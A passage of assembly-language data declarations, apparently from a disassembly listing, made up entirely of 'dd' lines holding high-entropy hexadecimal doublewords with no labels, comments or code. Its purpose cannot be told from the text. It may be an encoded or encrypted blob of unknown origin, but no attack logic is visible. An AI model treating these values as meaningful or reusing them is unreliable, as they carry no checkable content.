0C91A2D0Ch, 56C8317Ch, 7F0DE942h, 0B70FF3E6h, 89C7FEB1h dd 0F7A25F6Eh, 71714BDAh, 0CE5F88h, 9305F029h, 437C666Ah dd 2100115Bh, 0A758D5BAh, 4FBDB401h, 0EEB3E3E4h, 4AC20F40h dd 0B0B1BDC9h, 0E1CB98D1h, 1EF4BBC0h, 8A07DD34h, 0B43A5BA7h dd 0A82382B3h, 982759C4h, 0C043DE42h, 71AA6855h, 55023224h dd 0F4E65A09h, 750681D0h, 6C45354Eh, 0B030102Dh, 0E3F1A51h dd 0EBCF5840h, 0B3C65BA5h, 3B40704h, 0F3D2290Eh, 0EE210517h dd 0C8A86B51h, 0DA950C14h, 0C577885Ah, 392A7026h, 9BAD9CBh dd 93FE66CBh, 0C25E74C9h, 2C05D09Ch, 0E85A2483h, 4B976850h dd 0CF05CC07h, 4C834154h, 6101267Ah, 0A9E0EA81h, 113C0F13h dd 0B8E95606h, 0E14C39B4h, 8FBB12AEh, 654DAEF2h, 0C0C22D7Bh dd 0E589B9D1h, 0CBF9D11Fh, 69137A7Ch, 0E67B60E7h, 0A4F4B9C3h dd 4D1E033Bh, 85F3102Eh dd 0C380330Eh, 46CB0F7Bh, 4F30F252h, 0D120EF01h, 25235D25h dd 8D78750Ch, 0F803050Ah, 0ED00E7AFh, 33AE15B3h, 0EFC55101h dd 0A9E90801h, 0EBFAB50h, 3670FD76h, 1AB01EEh, 0D5E92CA0h dd 58209274h, 44C1AA01h, 0A4421DEAh, 25889036h, 71EF0513h dd 0BE6D4668h, 91BE6F35h, 7F8DE91Bh, 15906320h, 30237BE1h dd 2D16AD64h, 23D7B28h, 0F4E81372h, 1C89CEFBh, 772F67E7h dd 7AB0929Ch, 50D45A44h, 17455030h, 137DA718h, 8F5AEF5Fh dd 0A2EB7D0Ch, 0AEBC954Fh, 0DF895E0Bh, 70E685Bh, 69FA16BCh dd 0BE194072h, 0E80667ECh, 61ED686Ch, 91C12487h, 743D8D15h dd 0B89C400Ah, 0D4B0D42Eh, 0B36C04BFh, 65E010D5h, 0FE4714AEh dd 733BD42Bh, 0A89C2D92h, 57E91FCDh, 0ADE9DB6Dh, 6D2009D2h dd 945FA06Fh, 257E9B7Ch, 71FB0B5Dh, 55496228h, 2F90E75Fh dd 0DCFADDF4h, 60F55CF2h, 9B0BB454h, 0F7F82188h, 4C40B79Ah dd 28BB5722h, 0E48CA109h, 5E0FF0A3h, 3C14F72h, 0E99A6206h dd 4B32BE0Bh, 0C6A081A2h, 6FF928DAh, 2046907Ah, 0D15C685Bh dd 49E93C7Ch, 66AC0B1Dh, 8164D151h, 0FE3FB252h, 31BF33C2h dd 0EA427D28h, 0FEE2CE24h, 307B4F3Bh, 5711D2B2h, 38266E7Dh dd 0CEC6824Bh, 9C049F1Bh, 5D22C468h, 7980BC10h, 5B6D165Ch dd 7F0BF381h, 0FC391E03h, 12B4A860h, 0BFC3D1F7h, 7CAA68D4h dd 534CED2Ch, 0FA08C046h, 7EEA805Bh, 93CA2DAFh, 0D525A06Eh dd 958CD94Dh, 844C809Ah, 0C0E0CB5Bh, 41ABBF57h, 0E95F138Dh dd 66BAA016h, 0C680580Eh, 30F66790h, 9A1CDD3h, 4F59CF6Dh dd 85032AFDh, 16FABF13h, 780FF320h, 0D135F625h, 0AF5645DBh dd 0EE0FD721h, 8BEC617Fh, 698C6A72h, 583D03C3h, 0EB292BECh dd 35082AC7h, 0E504EA45h, 79430E7Ch, 5E92A030h, 3A200C50h dd 0C9CCA12Ah, 96D751E0h, 6E1B00A2h, 0A2056B95h, 67914916h dd 2DE98CAAh, 0F36105A2h, 29897A38h, 87CF9831h, 0A9AB5704h dd 1899080h, 75161DE0h, 8E60DF01h, 682DC25Bh, 0DDA410CFh dd 51AFBCE4h, 4A292981h, 0ED5BAEC8h, 0E1A5A251h, 44F028A7h dd 514E1909h, 13A85C3Ah, 0E01F8745h, 0F47FEB2Dh, 1A881E54h dd 0BBB1340h, 6D662CC5h, 83F95682h, 63DB9A7Dh, 0B7100019h dd 28C32CC9h, 0B35053F8h, 3D544194h, 526E58A9h, 61E7DAB5h dd 0D34C71ADh, 6B0FBE59h, 3134A3D7h, 4AD193CAh, 0A0EBFC08h dd 963B84E9h, 9B686187h, 0AFCC7B19h, 28704AA8h, 0EDBF5E45h dd 478F8B9Bh, 645223D4h, 12605AD4h, 0E0F7B0F7h, 0DC2AA241h dd 8FC52B7h, 4EE3A34Eh, 1F984F10h, 0D2D6DE31h, 14E5D0FFh dd 422DB80Eh, 4815021h, 0C91AECE3h, 16E3C13Ch, 13547B7Fh dd 742B003Bh, 0D8F73422h, 2760E625h, 5E70411Ch, 0C207FC5Ah dd 375B92Ch, 0B614B5BCh, 165EB9EAh, 0E219122Eh, 6F21827Dh dd 4FFF741Ch, 5912B0A8h, 476CEF01h, 9BF13AD5h, 0A271EA2Eh dd 292AF030h, 8007808Eh, 0B65273EBh, 0B450174Dh, 0C7981345h dd 4D801EFh, 81AC3A17h, 0FCEAC5A7h, 5B1B10C8h, 0B95D5416h dd 69C0A750h, 8030F826h, 0F1BAADE9h, 40892949h, 101209B4h dd 0FE825F6Dh, 7DC8C20Ch, 715F6289h, 0AE96194h, 41E26FE7h dd 0CF5A5CA2h, 0CE25BBDh, 0CB3FB772h, 6E134213h, 40415005h dd 32D65A00h, 0A201A021h, 0D14CF7FDh, 0A6987E25h, 7065E18h dd 60DC505h, 8D20F21Fh, 712A185Fh, 3CEE3E0Eh, 0ABF64B93h dd 680B2C8Eh, 42316E9Fh, 27D6050h, 5AD08805h, 2823E34h dd 0BAEC4A5h, 3CE23BD3h, 1230DDF4h, 5865076Dh, 3F03AF13h dd 29E753B8h, 315D1E12h, 0C2ECA2EBh, 7702EEC1h, 4001EAD2h dd 0E9A379E5h, 0E7AEC821h, 0D6B50DCDh, 7EBCA4D9h, 0BA073E10h dd 719E5E0Bh, 0F405EAC1h, 1AC0035Ah, 4E5EF80h, 743F9895h dd 623CFC2Ch, 5F26F173h, 47CFFFDEh, 0F70B70F3h, 0BFC21E9Ch dd 0F4EFD0E9h, 87E1C364h, 9468120Ah, 6C92D21Fh, 0C7EA08D0h dd 531D2832h, 9BB62018h, 0C40FF6FCh, 6C0EF718h, 0EC581740h dd 1BA49725h, 63D9AED8h, 5B61E460h, 0E9D93C27h, 94C7A729h dd 3FD978AFh, 37A65038h, 4E1F08E0h, 0D4D7290Bh, 0EBAA43C7h dd 5179574h, 8F057438h, 5CD84726h, 0FD490340h, 0F715E93Dh dd 0CABF538h, 3C5B1AC7h, 862C051Eh, 0C05F8952h, 685650B1h dd 802702EAh, 42C2C871h, 84E2B98Fh, 0BF1E2F68h, 2D5A609Fh dd 0A3832087h, 0EEBB9E60h, 5F9A413Eh, 7428AA7Ch, 13D59DCh dd 0B93AE483h, 7B515EB1h, 0D6D3080h, 36E9126Bh, 0AF3D5295h dd 5FEA8100h, 903FF174h, 0E9023731h, 0B8550B55h, 3E0D8AB3h dd 0CA0A65FDh, 30DB0862h, 1AC08218h, 7F91A251h, 0FBE9F842h dd 655C55E1h, 88BC66CFh, 619C20B3h, 3E79FA81h, 4F8455ECh dd 87B7019Bh, 7021C5B0h, 974B75F2h, 6D462CBAh, 3875C19Fh dd 505B8215h, 10BBBA00h, 0B8204A99h, 54BD80B4h, 9E680B33h dd 2007827Fh, 8805680h, 2A715CC7h, 3ED082A1h, 0E27A06D9h dd 4E5485ADh, 0B6878CAEh, 12FDAB5Ch, 0F919C06Eh, 0B0E7010Ch dd 0B562E917h, 33F9A90Bh, 7F68DFEBh, 0B1C35AB0h, 0BDAB7679h dd 734493AFh, 0E9ACB9C8h, 0BD8AC020h, 2B3C12B1h, 78E76E85h dd 9722884h, 10185E29h, 0B75A3E70h, 0D4D97B2Ch, 549FA841h dd 318886CAh, 3E2859ECh, 35E66AB6h, 0EFDF4C34h, 6CCAB20h dd 21782D41h, 0E5209778h, 1758587Bh, 0A7618607h, 59A4C26Eh dd 76ECC97Eh, 0F6F540DCh, 18F8DB4Fh, 0C3800607h, 877DE2FDh dd 0D5523F7Ch, 6BF31FC0h, 8D62A996h, 480009B9h, 35232C21h dd 204ABDF6h, 8B9E6AADh, 60DAB1C7h, 56EF8127h, 9D7DBB02h dd 3FE70E5Ah, 0A21768CEh, 0BCCDFAAFh, 3155D92Eh, 0ACFC6B66h dd 6CFA89A9h, 7EEC7DD7h, 0EF4ECDF6h, 309C23EBh, 8916A2DDh dd 41535759h, 896E961h, 0E860993Eh, 0BFD8A649h, 0F6853D0h dd 4F9B6EF0h, 83C176CBh, 41B56ABDh, 5A230B6Eh, 6F69F78Eh dd 0F61DCCF5h, 0CC845B63h, 4D40B0E5h, 0A389842h, 7D67151Ah dd 22140791h, 248069BFh, 55936D84h, 81F7F29Fh, 0CB7F5E08h dd 7D37061Eh, 3C46429Ch, 44A66C6Eh, 0F40705ACh, 6A73C13Bh dd 61915910h, 0CCF66E0Ch, 6BEAE982h, 0BB052EC6h, 23AB2915h dd 2DE9B3F0h, 1C7A7875h, 0FF2FBBB0h, 3DA9DD19h, 688733F1h dd 0F50B76D6h, 6FC4BC1Ch, 0BF12EB5Fh, 5AEE4252h, 0CA5D0C60h dd 4DCE046Ch, 775DB692h, 0AFE5CD89h, 0D234E909h, 6FEF075Eh dd 0B207B343h, 854C0DD7h, 9D6B2120h, 80044FF0h, 81B6D6F7h dd 80BC54C3h, 5E39E9FEh, 0C99C5DA6h, 0AED65AB8h, 0F6606646h dd 0BC9BBF23h, 53F843DFh, 92C3083Fh, 128D2891h, 933C2CB4h dd 677F692h, 0E2C05A18h, 818068A6h, 2EFF3131h, 818F7AE8h dd 471EADE1h, 0AED42E65h, 0E5290817h, 5F60E1F9h, 35BD5CEEh dd 0EF298485h, 29FA6A74h, 87CFF5D8h, 5DA1EF71h, 0FE5E4582h dd 0A0E9785Ch, 7AEC024Eh, 7106E4F5h, 0BCC371BDh, 8931A84Eh dd 5DA82505h, 299F3BBh, 0E35B78CEh, 4B556008h, 7D34244Eh dd 29B810CEh, 5517775Ch, 9C367705h, 267817B2h, 49C38987h dd 5342C200h, 0CC1054Ah, 79F06F7Eh, 60C54430h, 14861401h dd 0EC9C407Fh, 1E01471Dh, 0C1895171h, 0BA4B573Ch, 0FFE93620h dd 5266B565h, 42D75EB7h, 27556A4Bh, 52306E8Fh, 4CD2D77h dd 0E92F2410h, 82A1B537h, 0DC6280ACh, 0F5838511h, 215B0702h dd 4A535DE9h, 5F2E6889h, 0A8A7B7DAh, 685DC289h, 0A90B30h dd 0CE05DBFFh, 0E977C336h dd 799E759h, 0E404E6BDh, 959655E9h, 0D403A50Ah, 261EC241h dd 0E9444581h, 5D9E987Bh, 3F2443CDh, 5DE35755h, 0E072CDE5h dd 51C36A56h, 0C99E04D0h, 887B28E8h, 0CA8360C0h, 89E2E5F5h dd 675FEB88h, 6BC5AFB8h, 66846885h, 0AB3E49BAh, 0C5AFD159h dd 5D540C04h, 854FCEB4h, 83E1EC4Bh, 0E71A4C82h, 99BE7474h dd 1012E871h, 42884C9Dh, 922D7FC2h, 3732F56Ch, 0FF12F40Fh dd 547F6C8Eh, 2D68917Ch, 2E547149h, 0DE92B776h, 0DFE5617Dh dd 0B2BBF854h, 68ABE24Ah, 17FDBBD5h, 0AE228270h, 4DF86B94h dd 6D0D540Bh, 0AF725704h, 68A18A8h, 80E60135h, 3E4F2B76h dd 3156201h, 0C82263Dh, 19533992h, 2B78DFh, 0CC66A4C2h dd 14C3E905h, 4B41BAAAh, 70053BB1h, 67EA1068h, 0DA39D110h dd 3B817A19h, 62795D08h, 0EA40EF06h, 63901B10h, 2E0AB851h dd 5808E704h, 240464A5h, 7CFD0812h, 0CD841448h, 0B2BA1263h dd 885C1671h, 8E04BAEh, 0FCB3E204h, 6BD1C434h, 986E6FFh dd 0CC79FC68h, 0BD550134h, 329D7F11h, 0F7EF214Dh, 4EA0F4Eh dd 4C51FCAh, 31FBF1F6h, 6E3FA7D8h, 2778F2F2h, 4AF12A29h dd 1B0C6080h, 0C0D7F769h, 0E4F39B66h, 664FE996h, 5FEEF5D2h dd 0DB296569h, 3AB58EE9h, 0BDB08ABCh, 4C0003AFh, 30DC2D66h dd 9053DDDh, 770A63D3h, 7200E5Ch, 0E91140F9h, 96B989F7h dd 0C0692DBCh, 12D1BFF1h, 0A735EE59h, 3BB548F9h, 0A162829Dh dd 7FA244E9h, 0E8A47045h, 0E797350Bh, 0C45814FFh, 714C0986h dd 56727D00h, 8D84BA7Fh, 5D807FA9h, 661652C6h, 1080B831h dd 0B84F5914h, 8F2B1354h, 4461EDD0h, 784A7D19h, 840FDD9h dd 4EA0685Bh, 0A26FA314h, 0DAE90383h, 0FA8FC15Fh, 75C1FE4Ah dd 0DD2B207Ah, 0B04D20E3h, 118C8582h, 0C3C05FBCh, 0E9181756h dd 62ED3031h, 5770F301h, 0BB98BD6Eh, 43C040DAh, 6F052933h dd 577C978Bh, 34F25F5Ah, 5385DD9Bh, 0B0FA08B3h, 0D6408FF0h dd 0DFBA0452h, 0FE45FC6Ch, 0B1501753h, 77985B0Bh, 890F6129h dd 0E21A244Eh, 9594E05Fh, 6EC32830h, 252E1C90h, 0FBDE8E5h dd 0C5B5762h, 64BDF180h, 0CC13BAEh, 22724694h, 0E0274E00h dd 56AC82A0h, 5D5F5EC9h, 0E29F5250h, 0A050D38Ch, 44C5B6BDh dd 5A42AC2Fh, 5A685630h, 0F80B303h, 21C8327Dh, 0ED4AA304h dd 31EE6FC0h, 5FC50944h, 8204DEF7h, 0B6F117BAh, 0E8C0C4h dd 88132C06h, 206858C5h, 0DE274958h, 0E252ECDFh, 73136CB8h dd 3BD9FBE8h, 0C102846Ah, 2BAB7850h, 0E9A568EEh, 2182834Fh dd 647AF709h, 8DB720h, 53CA295Bh, 0CC45BCBBh, 15B1634Eh dd 65FA7888h, 70965F1Dh, 0AA7225F1h, 97158B9Fh, 0B0CE45F5h dd 7C0901B2h, 9B254900h, 353FE51Ah, 5A757D05h, 6847810Ch dd 13577DB5h, 98A7B37Fh, 0BC41247Bh, 6454655Ch, 0F88B66CAh dd 77256AFEh, 10C2754Fh, 7A7C0809h, 0AD65D5Ah, 5B0A91C3h dd 0AD414418h, 50B117A5h, 0EE03D43Dh, 20847E50h, 57DF0D9h dd 7A0D5701h, 14701FA1h, 6C3D047Eh, 0F01CE93Eh, 0F4EC43D7h dd 4AA3374Fh, 0A8555127h, 6805E750h, 45F2724Bh, 0A1A95F8Fh dd 0B48430FDh, 38F30422h, 109B3FE9h, 1A15DF6Eh, 908B40E0h dd 51FA3F39h, 36F700EFh, 5690E66Eh, 0D15AC306h, 0F0C41913h dd 4D282464h, 0EA812D0Bh, 7F4A0B0Ch, 19033CA0h, 60158CE9h dd 0B7BC7004h, 0F82E0170h, 2B2DD85Bh, 0B300FFD2h, 16841765h dd 0C45FAB98h, 7F66CA82h, 0B6033A4Ch, 0D0DEF673h, 500809E6h dd 582FD6E9h, 0CE80DFC1h, 7AC6CD22h, 0C05A0DC0h, 4C0373EFh dd 510A3CE7h, 10A32DB5h, 780B7767h, 0DCF6E580h, 0D0B28062h dd 0BBE9CAFEh, 566E7A8h, 0DD75D12Dh, 2A9D0502h, 0A1AD004h dd 814AFD40h, 98B28282h, 0EC810BEEh, 3609EC68h, 2E980603h dd 9F67A54h, 85ABD16Ch, 0A10962E2h, 9D0BAEF1h, 441E7699h dd 0E513EFA7h, 0E99838AAh, 0A8CB6C2Ah, 4BB79E92h, 0FB5404B6h dd 0AC7BF72Dh, 51CF078Eh, 47151220h, 0BAD9E301h, 7634EB7Ah dd 1DB14925h, 0AE4F2884h, 42592944h, 6A94BB00h, 0D0955240h dd 81433A06h, 0AB62CC13h, 0CB222A09h, 0DC73FFF6h, 0AF0E4ADDh dd 835050C3h, 58BEE2D3h, 0D9CC9DB0h, 0F4AF7F94h, 63CE8AFCh dd 0ADB8ACC4h, 163E0F54h, 5642A1E0h, 0CC4268DAh, 175679A9h dd 0B1670A61h, 4FA26F22h, 5BE2C22Fh, 0E4C11587h, 548DEE89h dd 3F54FF2Bh, 0A0AA152Dh, 2854780Eh, 39689B1h, 34A95D5Ah dd 305F03C1h, 4C1391F2h, 51F15E85h, 6AB08AFFh, 89A25F92h dd 0C6CC5098h, 5C93E699h, 5E26ABCEh, 7CFCA62h, 5ADC4A7Eh dd 0D10606C6h, 55F0AEBh, 8299A881h, 60415D01h, 0B9B80F75h dd 0D4E0284Eh, 25EE4A89h, 0DF88BA84h, 0EE995A02h, 9749170h dd 86715058h, 838A9E91h, 1AC73EEh, 90CEF7B0h, 2148C904h dd 0A1BF5FFBh, 0E6A82FFAh, 0F8004B8Bh, 113A3410h, 0A3BD552Ch dd 1E34762h, 3C358268h, 0B382E5F1h, 32EF20EEh, 68B56170h dd 0C006C8BEh, 0E69BC597h, 85FBB1E3h, 68525AE2h, 0D15F66B2h dd 9FF00B72h, 0B1FC5D4Ch, 0CD89630Ah, 6A50F105h, 2D3E5FF1h dd 96036E35h, 164EA14Ch, 350FD6h, 0F6F28177h, 73178F6Ch dd 0ADA03EE9h, 2CD02D28h, 3ED231C1h, 1D12DEADh, 3C2EF39Eh dd 473F8EF6h, 19CEC14Ch, 60E67735h, 0E0C04917h, 9D71B8E0h dd 0CD3B87Ah, 0F0C452AFh, 0AE5B2F48h, 0FA5DE028h, 0FC604F43h dd 29B0C60Ah, 89DABF1Dh, 60A7D724h, 7157C340h, 370D7CE8h dd 64F30C10h, 1841ACA5h, 8C488155h, 48352D06h, 70D5762h dd 7E78E170h, 0F40961C9h, 0F425D742h, 1B6D62DCh, 45CC0D00h dd 0F86A4A08h, 354801D5h, 5CDA05D3h, 75629EF8h, 7F2D01B6h dd 2944E413h, 9FD563C1h, 0A364C12Dh, 0B968002Ah, 280C44D3h dd 0F81A8969h, 0BB535B4Fh, 82E8FF37h, 6501FCFh, 7E9053C1h dd 0ABFB213h, 2CFD6F7h, 0E2A0845Ah, 0FEC49784h, 64172DA4h dd 0C0FD4D64h, 0F91AE2C1h, 58475748h, 57409E1h, 0FADB615Fh dd 0BD40CEE0h, 68511180h, 59B7B59h, 0D5380A01h, 0B3545305h dd 0E95990FAh, 8091A99Bh, 4867BE03h, 2B745080h, 0D64082DAh dd 88816B9Fh, 2049EF2Bh, 88C1FEB3h, 1AB16F61h, 5DCA5552h dd 5AEE0B5Ah, 46A2E0A0h, 0B8B6F083h, 0F6F47C88h, 0F43D4B39h dd 83FA2EE9h, 5B35DEE0h, 91AA2028h, 2D59EBD2h, 0E3B186AFh dd 0B177034h, 8751E9D9h, 0EFF85F96h, 452C52DCh, 5C651005h dd 166F00BEh, 40176770h, 80A90502h, 0B8923CBh, 23EDD07h dd 60E01BC3h, 0A82C4ED3h, 0B0165905h, 8FE31EB8h, 9ECCBBACh dd 777D4F97h, 6E7DF9B8h, 7914B625h, 0C4D8685Ch, 0EA8C6073h dd 0A31C5F87h, 17D05871h, 8BFE8F1Ah, 0AD531729h, 0BDCD46CCh dd 16BCEFD9h, 0CFAACA6Eh, 8C4F2C63h, 2D5E82A8h, 57D67CB5h dd 8CA115D8h, 0FA25A083h, 0C665530h, 2826B9BAh, 0A1235Fh dd 0DCA0D94Bh, 0F4E9D701h, 0A73E245Ch, 0ABC96B4h, 5BBFD060h dd 32BC593Bh, 5D1B5502h, 5FF86152h, 2343A240h, 0C1362761h dd 640AB5C0h, 20B86CB5h, 51600172h, 9F40CD30h, 0BE560031h dd 7056F0Ah, 677EE81h, 0E917AB05h, 39BE1803h, 55F9F9C3h dd 735CAC99h, 682EE105h, 1BF366DFh, 0A01714C8h, 0B2FFD5C4h dd 601389D2h, 27BF0FBAh, 99FF50C8h, 982F5183h, 4E5AE71Dh dd 7052D8F4h, 0ECFE9D59h, 0AA65CB50h, 745A7783h, 90B49E20h dd 568E0921h, 19804440h, 0A70FFAA5h, 0FD64E979h, 82BE5922h dd 85891E1Eh, 0A80F6DFFh dd 24049F49h, 0F9C61C86h, 0C508D7F6h, 0A1E4E913h, 0D84B6CCDh dd 4071D44h, 78E9669Ah, 3E821217h, 0C6BAB19h, 985F3F65h dd 424A2887h, 746B3ACAh, 2A0C31B0h, 1D5FD965h, 680A3FBCh dd 60BF2162h, 90104EBAh, 1211748h, 369116C9h, 62C04E9h dd 22060273h, 47687F28h, 5C8CFE76h, 59D94582h, 0EC057951h dd 0AA69787Eh, 0F7D101B3h, 51E22325h, 3E6C027Dh, 0BC06C15h dd 637F0A6Eh, 5A753889h, 17017781h, 0EE890D35h, 0F0451FD1h dd 5F875803h, 0B3A97505h, 93E24EECh, 0EEA2610h, 133F2168h dd 2A308DBEh, 5052F840h, 1063B68h, 4858656Bh, 3F5CABE9h dd 0CCF8A7D2h, 0EF78975Dh, 0A523F030h, 381229EBh, 7ADC598Dh dd 0B84E2438h, 2D88B75Ch, 4CB5FF58h, 4C8420BEh, 9F56709Dh dd 76296640h, 92988D92h, 0C1CB91B0h, 7A6E7466h, 35582D42h dd 0C14860E9h, 264E7459h, 1720195Fh, 0ABE15B5Bh, 23B14A6Ch dd 90C00458h, 7B553795h, 9E5E5D0Fh, 27F75A38h, 585A360Eh dd 56B39ABFh, 3E51C2DEh, 41A5709h, 9C3C075h, 0C196016h dd 17956D68h, 510466AEh, 641B99B9h, 89E09AEh, 29414C8Eh dd 78463950h, 51680558h, 0C3D1F938h, 0BF0588E8h, 7E211B41h dd 0D6FD298Dh, 0C1D769FCh, 6AEE801Eh, 89DFEAF6h, 0F19F80F2h dd 0EA50C9FEh, 9EE6EECCh, 519419ECh, 5FAE2B5Ch, 8BFDEFF4h dd 9D47045Fh, 8BD816EBh, 423F1CC7h, 0FE97B02h, 0F408528Eh dd 0E2FBB593h, 0BD2EB000h, 136AB813h, 81927287h, 2B0C0970h dd 4FEDEA28h, 4EDC8AD1h, 0E917BCF9h, 0B9D0C043h, 0FC4C50FBh dd 66CB25D6h, 0E3C12FE6h, 0D60BD05Eh, 0D09FA76Eh, 3F65873h dd 1D12EB5Bh, 2C046BF2h, 2B506807h, 1717A8D8h, 77F9166h dd 707E7211h, 0A75E0B0Dh, 0EC051800h, 97631F43h, 758D27E9h dd 0CDBEE851h, 0C2EE4A8Ah, 2CFF2C52h, 0F441040Fh, 72AD58D4h dd 95219481h, 0E1616E59h, 0EF10372Bh, 0FC5CB39Ch, 5629103Ch dd 0EA04A048h, 0C21A7044h, 44096C15h, 252EE2B9h, 0CFFE4908h dd 9A2D0CE8h, 0D8C4DF75h, 5F9F5B4Ah, 0AF04A248h, 0AA3A2078h dd 9112F790h, 0C6504CE1h, 1F49C005h, 27D4AB4Bh, 685F0801h dd 8533529Fh, 4F702F78h, 0D02DFE7Bh, 0D20F1BAh, 877D6757h dd 0DC1321F6h, 7EE17F4Ch, 0C99D1830h, 0D56BC71Dh, 8BE0C1Dh dd 847A56DCh, 54885C5Ah, 0D3EEA280h, 2918302Eh, 9D770126h dd 0F7481E77h, 2008454Eh, 0CB905E18h, 0CC1F0A0Ch, 71B4A61h dd 2120D42Ch, 8D07FBF1h, 97F249B4h, 9FE8A409h, 9FA0F48Dh dd 307F6F2Fh, 80783B87h, 0B598F031h, 0A127C27Ah, 0A9EDA285h dd 2FADF179h, 71A85BEBh, 29950F92h, 0A3F17DCAh, 58F1DCC9h dd 0BDFF6FE9h, 80E8060h, 0B15158C7h, 605EB826h, 30F00684h dd 0B55059CFh, 334023AAh, 7C200768h, 0B25A108Ch, 285477F3h dd 7FCE862h, 93E6E2ACh, 0F160BD5Eh, 7E67D27Ah, 10E10981h dd 525F08DFh, 50195F90h, 1C680859h, 8F5B1414h, 0EE015825h dd 3F7DE987h, 9DEA3817h, 1CEA56B5h, 5AAE7195h, 69A39C5Fh dd 915FEFC4h, 3DEC8BE3h, 0BF42929Ch, 77FE0ABh, 28E21360h dd 56107DB8h, 0DCBD08B4h, 58C839D7h, 0BA82DF16h, 22BE1FD0h dd 13912644h, 0AAF92FCCh, 0B09462h, 1C8BD801h, 0FA575EBDh dd 0EEF01268h, 0BDDF39C8h, 258E9B13h, 915EEE6Bh, 3153AFD2h dd 1601C713h, 0E67C5BC2h, 28A1F5FAh, 4CF525E9h, 0B80750F0h dd 12E1161h, 0CB92ADD7h, 0D240F53Eh, 5E03D52Dh, 0D9056E41h dd 0AB0A5F36h, 0BE703C06h, 0A2FAA06Bh, 0B4A2F78h, 96D784E2h dd 1D8D25E3h, 0FC7A4ADCh, 0BAE9C584h, 0B00CCE58h, 16121F13h dd 7B13E01h, 0F8EED127h, 0C89F6A68h, 573A21h, 0F381258Bh dd 3399448Ah, 4FDE895h, 0D68582CEh, 0AF5A958Ch, 0CAAB7D74h dd 430C10CDh, 0CF027A49h, 647A0EFFh, 0AB15CF60h, 0F2C48D25h dd 0A3E90BE7h, 2A028F6Ch, 5EEC774Fh, 0DBCB21E8h, 3B5759EFh dd 0DDE4B87Dh, 59377F98h, 50673F0Ah, 0CDDF098Ch, 0F1452D15h dd 0C660E985h, 84AB13D4h, 1080AACEh, 8A709ADh, 9A77E930h dd 5809B720h, 5D7A705Bh, 409EBFAh, 0D5382DACh, 1F4A71A2h dd 163AC320h, 303090ABh, 0EE17A58Ah, 621D2FF1h, 51A6017Fh dd 49980820h, 5716E905h, 61D70541h, 1212E544h, 0C3CABB99h dd 39E9C99Fh, 40689721h, 0F155C20Ah, 0E87DCB11h, 0DD945F63h dd 45358913h, 38059F6h, 0B6F18149h, 2A1B13A1h, 0EB3B1251h dd 0D00C2F92h, 4AFE9722h, 51069F39h, 827B900Ch, 7E9E4C2Ch dd 3531B57Fh, 3FFCD23Ch, 2B374FBh, 850FDB09h, 0BA6874CAh dd 22966FC4h, 0A01F862h, 0F0EF1602h, 0E84FD1AAh, 0D5226AE1h dd 365B1316h, 0C455A6A1h, 0D8F06FD5h, 0AF6C4FB6h, 8EEFA324h dd 709358D1h, 0D7F41B59h, 0C3EDDE35h, 0A3AEE908h, 83E18100h dd 0EC58880Ah, 10620BC9h, 10802F9Eh, 61A12295h, 0BB07CFB4h dd 0D32EF714h, 7B36B501h, 40DAD10Ah, 2F626648h, 76CA64F2h dd 43E65B5Fh, 0F7139925h, 0EB833EFh, 62E70DCFh, 0B07D0B27h dd 556768CEh, 862C157Ch, 69165B3Eh, 22E355h, 5FC97C14h dd 82BCF9E9h, 50557E62h, 645E5AA0h, 0BBE2BF38h, 6265E9C2h dd 3F7F3157h, 0ED797FD6h, 89BC5792h, 550B20A5h, 0DE026856h dd 0E96C9F16h, 2D0F48E0h, 0F1F40Bh, 0D0F74855h, 80516D35h dd 0C1297514h, 53E900C0h, 5E62F405h, 5ABEEE50h, 407AA23Eh dd 4D96E0EFh, 3F632F83h, 246AD966h, 0E89BD12Bh, 2D2280E2h dd 3756476Fh, 906BED5Fh, 0D03CE9ADh, 0E9EC2EBDh, 0DF5AE201h dd 57985867h, 1633A5CAh, 0BF5E3A79h, 14EB0B95h, 0BF4B27A3h dd 495B5F2Ch, 9E2AF479h, 0CD19796h, 6B7B5D52h, 10EA5393h dd 114D9278h, 0C0AFEA3Bh, 1CF7E362h, 13C5421Ah, 0E18059E9h dd 13825A35h, 0FA312B43h, 4AE53D43h, 0FA0CE6AEh, 47E75865h dd 97DFB326h, 0D639FF5Bh, 1D2F6640h, 0A5295B3Bh, 82080429h dd 0D1F7A251h, 0AB5DCBCEh, 0C64359E9h, 0E29F6B5Ch, 35E0D5FFh dd 4D2E2527h, 85022568h, 0F7C1E805h, 0BCD0B90Bh, 0F15EC220h dd 4AF336D9h, 0B606820Ch, 60F59191h, 4A609400h, 37605E52h dd 90EDF816h, 56100A7Dh, 209BFD01h, 624ECB08h, 7F25425Eh dd 1608AAE5h, 3B531D56h, 0DF639F98h, 7D2D4EE1h, 9F2F0B0h dd 3392C8Eh, 0E93E85D5h, 8EE89016h, 0F70BAE3h, 2E7D504Ch dd 7CB300C7h, 55DEC12Ch, 0C7F80EA7h, 0F8FC22CBh, 0D8539FE9h dd 6B7FD949h, 5A42CA53h, 0FD28921Bh, 7C6B7251h, 9D4B8C85h dd 7FECAD90h, 0B9905B4Eh, 4E3623F7h, 413DED0Dh, 0ECCE0208h dd 88EAE90Bh, 0AFA5172Eh, 1A847C85h, 0C0ADC792h, 88097A0Ch dd 0C59F0651h, 0E642A784h, 0A413C5D5h, 80A00878h, 28596602h dd 1AEFF1C2h, 28754F37h, 7D5A2CBEh, 72DF296h, 3DFCE67Fh dd 0CC93ABB5h, 0A5D0EAF7h, 2F9098C6h, 207F3C5Bh, 9121F5EEh dd 0B21B087h, 3A626FECh, 52381AC1h, 705FB9ECh, 99E2B5E1h dd 0F5E948Bh, 685105BAh, 83650B64h, 0E9D745ABh, 8B0F0C1h dd 8058E100h, 536669C9h, 30991DB3h, 2C5B80D9h, 0D844E9FDh dd 0F2D61BB5h, 85545582h, 8354A478h, 0C43A8EDEh, 0DF899F7Dh dd 6FB90A52h, 0F58ED01h, 0DBD141B0h, 67CB76EAh, 0D8F6B1C8h dd 0EF5B92F2h, 292138FBh, 0BD71DF41h, 9FD4EA5h, 4B20FCF6h dd 26F2F5F4h, 0BDAB4FEAh, 0AD54868Eh, 0D6931915h, 1C606880h dd 594B4B28h, 76012AFCh, 0E95CC948h, 3B0865FEh, 5D7B18F3h dd 694ABAF3h, 0BB8B5462h dd 688380A7h, 0F31126BDh, 0C44B6646h, 4AD0F9A5h, 7058AF8h dd 0C2705B1Ch, 0F70F75D0h, 266B33E5h, 0C34FF562h, 0B3EC1B16h dd 0EEB85000h, 8309D23Ah, 40FFC000h, 8205110Dh, 0A502B70Ah dd 72F58A5Ah, 0A0681743h, 50D3613Dh, 0F75E0273h, 3A2FD9CCh dd 